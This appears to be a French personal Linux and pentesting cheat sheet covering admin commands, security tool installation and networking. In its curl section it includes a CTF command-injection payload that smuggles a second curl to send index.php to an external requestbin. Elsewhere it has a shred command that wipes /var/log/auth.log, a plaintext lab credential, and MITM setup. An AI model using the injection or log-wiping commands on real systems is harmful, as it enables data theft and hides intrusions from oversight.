Linux Basics
February 26, 2026 · View on GitHub
Ressources
Authent Centralisée
| Techno | Description |
|---|---|
| Kerberos | Protocole d'authentification réseau sécurisé |
| LDAP | Service d'annuaire pour stocker les informations d'utilisateurs |
| FreeIPA | Solution intégrée pour la gestion des identités et des politiques |
| SSSD | Daemon pour gérer l'accès aux services d'authentification distants |
| PAM et NSS | Modules d'authentification et de services de noms |
Clavier
setxkbmap fr #ne marche que lorsque X est lancé
loadkeys fr
Outillage Sécu
Warning
Attention certains outils peuvent être interdit en production et se retourner contre vous en cas de compromission.
# ssh server
apt install openssh-server -y && systemctl enable ssh && systemctl start ssh
# admin tools
snap install curl
snap install codium --classic
apt install -y git binutils net-tools dnsutils chromium-browser wireshark jq yq dislocker
# secu tools
apt install -y nmap ffuf hydra john hashcat sqlmap nikto netcat-openbsd
snap install zaproxy --classic
snap install impacket
snap install amass
apt install -y pipx python3-pip python3-venv
apt install -y bettercap
apt install ettercap-graphical -y && echo 1 | tee /proc/sys/net/ipv4/ip_forward
# wifi
apt install -y aircrack-ng hcxtools hcxdumptool
Pour utiliser un tool python et gérer correctement les dépendances de l'OS il faut utiliser pipx ou les venv.
Exemple avec mitm6
python3 -m venv mitm6-env
source mitm6-env/bin/activate
pip install mitm6
./mitm6-env/bin/mitm6 -i wlp2s0
environnement
env
cat .bashrc
alias
echo $HOME
Disques, Volumes et Montages
| Montage | Options recommandées | Description |
|---|---|---|
| / | aucune | root |
| /boot | nosuid,nodev,noexec | Contiens le noyau et le chargeur de démarrage. |
| /tmp | nosuid,nodev,noexec | fichiers temporaires |
| /home | nosuid,nodev,noexec | répertoires utilisateurs |
| /dev | aucune | périphériques |
| /var | nosuid,nodev,noexec | variables et logs |
lsblk
findmnt
cat /etc/fstab
fdisk -l
findmnt
gparted
df
services
systemctl list-units
systemctl status
systemctl disable ssh.service
systemctl stop ssh.service
rpc et sockets
rpcinfo
lsof
ss
trouver des fichiers / binaire
find / -name flag.txt
locate ls
which ls
apt
Lister les paquets
dpkg -l
info sur un paquet
dpkg -l apparmor
les dépôts
cat /etc/apt/sources.list
Lister les clés GPG
apt-key list
apt-key --keyring /etc/apt/trusted.gpg finger
debug Dependences
notamment après l'installation de package (.deb) manuellement (pdkg -i)
apt --fix-broken install
apt-get install --fix-missing
apt-get install --fix-broken
fichiers
| lettre | description |
|---|---|
| - | regular file |
| b | block special file |
| c | character special file |
| C | high performance ("contiguous data") file |
| d | directory |
| D | door (Solaris 2.5 and up) |
| l | symbolic link |
| M | off-line ("migrated") file (Cray DMF) |
| n | network special file (HP-UX) |
| p | FIFO (named pipe) |
| P | port (Solaris 10 and up) |
| s | socket |
| ? | some other file type |
file executable.2772.exe
objdump -d /usr/bin/sh
strings <exécutables ou l'on cherche des chaines de chars>
intégrité
sha256sum test
hexa
éditeurs sous kali
- hexeditor
- bless
mettre du code hexa dans un fichier binaire
xxd -r -p input.hex output.bin
dumper un binaire en hexa
hexdump -C
permissions
id
whoami
permission POSIX
touch test
umask 0077
chmod 700 test
chmod +x test
permission AppArmor
Activé par défaut sous Ubuntu et Snap
aa-status
capabilities (rarement utilisé)
cat /proc/1/status | grep Cap
capsh --decode=0000000000003000
Auditer les permissions
monitorer un répertoire
apt install auditd
systemctl status auditd.service
auditctl -w /home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -p xwa -k vulnapp
#auditctl -a always,exit -F dir=/home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -F perm=wax
auditctl -l
ausearch -k vulnapp | aureport -f -i
monitorer les utilisateurs
auditctl -a always,exit -S openat -F auid=1000 -k user1000
ausearch -k user1000 | aureport -f -i
Nvidia GPU Hashact
apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit
hashcat -I
file explorer Linux
Ouvrir l'explorateur de fichier: xdg-open
runlevel Linux
runlevel 3 au grub
ajouter 3 apres “quiet” dans le GRUB
Archives
Compress file
zip compressed.zip file_name.txt
Compress Folder
zip -r compressed.zip folder_name/
Uncompress zipped file to current directory
unzip compressed.zip
Uncompress zipped to current directory to specific location
unzip compressed.zip -d ~/Documents
Compress a file / folder
tar zcvf compressed.tar.gz folder_name
Uncompress a tar file
tar zxvf compressed.tar.gz
tout détarer
for i in *.tar.gz; do tar -xzvf $i; done
information kernel
dmesg -w
grepper pour chercher une pour identifier une information particulière
dmesg -w | grep -i usb
usb
Ne pas monter la clé ou faire un unmount
dd if=kali-linux-blablabla.iso of=/dev/sdb
dd if=kali-linux-2019.4-amd64.iso of=/dev/sdb bs=512k
ou avec gnome-disks (sudo apt install gnome-disk-utility)
curl
Post exemple
curl -X POST -d name=value http://challenge01.CTF.exemple/web-serveur/ch53/index.php
curl http://admin.academy.htb:31817/admin/admin.php -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'
requestbin exemple
curl -d '{ "name": "Princess Leia" }' \
-H "Content-Type: application/json" \
https://enirdd6d0146.x.pipedream.net/
upload data
curl -d "@data.txt" -X POST http://localhost:3000/data
exemple avec injection de commande:
curl -X POST -d 'ip=127.0.0.1%0acurl -X POST -d @index.php https://enzuva1p723tj.x.pipedream.net' http://challenge01.CTF.exemple/web-serveur/ch53/index.php
Certificat non legitime
-k OU --insecure
Effacement avec shred
shred test
find <dir> -type f -exec shred {} \; # suppression recursives
shred -f -n 10 /var/log/auth.log* # change les permissions (-f) et fait 10 passes (-n)
cat in file
$ cat > MyFile
write the text in the console, when done press CTRL+D
Now, if you’ll open MyFile, you’ll se that it contains the text you’ve entered. Be carefull as if the file you use is not empty, the content will be erased before adding what you’re writting.
cat <<EOF > print.sh
Reseau
IP
ip addr add 192.168.1.5/24 dev eth0
ifconfig eth0 192.168.1.5 netmask 255.255.255.0
ip link set eth0 [up|down]
ifconfig wlan0 down
route add default gw 192.168.1.254
Wireless
ifconfig to see details of wireless interfaces
iwconfig to only see your wireless interfaces
iwlist wlan0 scan to see all the Wi-Fi APs in your area. (Will include key data about each AP)
ncmli dev wifi will do the same as above. (Key data)
nmcli dev wifi connect AP-ESSID password APpassword to connect to an AP
routage
$ ip route show
Sample output:
192.168.2.0/24 dev eth1 proto kernel scope link src 192.168.2.1
192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.2
default via 192.168.1.254 dev eth0You can add static route using following command:
ip route add {NETWORK} via {IP} dev {DEVICE}
For example network 192.168.55.0/24 available via 192.168.1.254:
$ ip route add 192.168.55.0/24 via 192.168.1.254 dev eth1
# Alternatively, you can use old good route command too:
$ route add -net 192.168.55.0 netmask 255.255.255.0 gw 192.168.1.254 dev eth1
SSH
Ne pas garder les cléfs par défaut sur les serveur ssh des VM téléchargée
cd /etc/ssh/
mkdir default_kali_keys
mv ssh_host_* default_kali_keys/
dpkg-reconfigure openssh-server
md5sum ssh_host_*
cd default_kali_keys/
md5sum *
systemctl restart ssh
ssh X11
pour du graphique activer le Forward X11 et
ForwardX11 yes
ForwardX11Trusted no
lancer ssh -X coté client
smbclient
sous xfce
thunar smb://10.10.10.178/Data
impacket
/usr/share/doc/python3-impacket/examples/smbclient.py C.Smith:xRxRxPANCAK3SxRxRx@10.10.10.178
Logs
logcheck
apt-get install logcheck
sudo -u logcheck logcheck -o
sudo -u logcheck logcheck -o > /data/$(date +"%m-%d-%Y-%T").log
pbm de boot
Options intéressantes à ajouter au GRUB (presser "e" au boot ou éditer)
"acpi=off" -> désactive énormément de choses dont la gestion de l'alim et accélération matérielle "nouveau.blacklist=1" -> désactive les drivers nouveaux "nomodeset" -> n'utilise pas les module graphique du kernel durant le boot jusqu'au chargement de X)
Pbm d'écran / compatibilité nouveau /nvidia
- booter avec nomodeset ou nouveau.blacklist=1
- installer le package nvidia-driver
- rebooter (sans options supplémentaires, nouveau sera shooté automatiquement)
pour les problèmes, de driver nvidia cf "Nvidia GPU"
Si freeze: utiliser les tty (ctrl+alt+<1,2,3,4...>) ou démarrer sans interface graphique: cf "runlevel"
modules
To add or a module use
modprobe -a <module name>
To remove a module use
modprobe -r <module name>
Client RDP
rdesktop <server> [ -u username -p password ]